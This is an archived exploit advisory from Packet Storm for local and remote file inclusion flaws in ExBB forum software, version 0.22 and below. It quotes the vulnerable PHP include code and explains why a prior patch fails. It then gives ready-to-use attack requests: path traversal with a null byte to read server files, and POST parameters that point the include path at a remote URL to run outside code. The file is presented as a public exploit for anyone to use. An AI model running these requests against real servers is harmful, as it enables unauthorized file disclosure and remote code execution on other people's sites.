exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

exbb-lfirfi.txt

exbb-lfirfi.txt
Posted Apr 9, 2008
Authored by The:Paradox | Site inj3ct-it.org

ExBB versions 0.22 and below suffer from local and remote file inclusion vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
SHA-256 | 69450cfb998e79cfd133f925bccd82c6e9b3f68de9b20f0d577ed6d7cd5ecf6d

exbb-lfirfi.txt

Change Mirror Download
#====================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#====================================================================================================#
# This is a public Exploit #
#====================================================================================================#
# ExBB <= 0.22 #
# Multiple File Inclusion / Code Execution Vulnerability #
# #
#====================================#===============#====================================#==========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# [RFI] [LFI] # Vendor: exbb.clans.it #
# # Author: The:Paradox #
# register_globals = 1 register_globals = 1 # Severity: Moderately Critical #
# allow_url_fopen = 1 magic_quotes_gpc = 0 # #
# allow_url_finculde = 1 # Proud To Be Italian. #
# # #
#====================================#===============#===============================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# Exbb presents File Inclusion Vulnerabilities. Let's have a look of the source. #
# #
# /modules/threadstop/threadstop.php #
# #
# 1. <?php #
# 2. ################# PATCH by Flippo ###################### #
# 3. if ((stristr($_SERVER['QUERY_STRING'], 'exbb[home_path]')) #
# 4. or (stristr($_SERVER['QUERY_STRING'], "exbb['home_path']"))) { #
# 5. die(); #
# 6. } #
# 7. ######################################################## #
# 8. #
# 9. include($new_exbb[home_path].'modules/threadstop/data/threadstop_data.php'); #
# 10. include($exbb[home_path].'modules/threadstop/language/'.$exbb[default_lang].'/lang.php'); #
# #
# The patch of Filippo, is a completely useless code. #
# When Register_Globals is On we can set $new_exbb[home_path] not only via GET variables, but #
# also via POST and COOKIE. #
# Moreover Filippo has forgot to fix $exbb[default_lang] too. #
# #
# Example: #
# #
# [LFI] #
# #
# GET site.it/Ex/modules/threadstop/threadstop.php?exbb[default_lang]=../../../../../../[File]%00 #
# GET site.it/Ex/modules/threadstop/threadstop.php?exbb[default_lang]=../../../../../install.php%00 #
# #
# [RFI] #
# #
# POST site.it/Ex/modules/threadstop/threadstop.php? new_exbb[home_path]=http://www.google.it? #
# POST site.it/Ex/modules/threadstop/threadstop.php? exbb[home_path]=http://www.yoursite.com/page? #
# #
#====================================================================================================#
# Use this at your own risk. You are responsible for your own deeds. #
#====================================================================================================#

Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    9 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close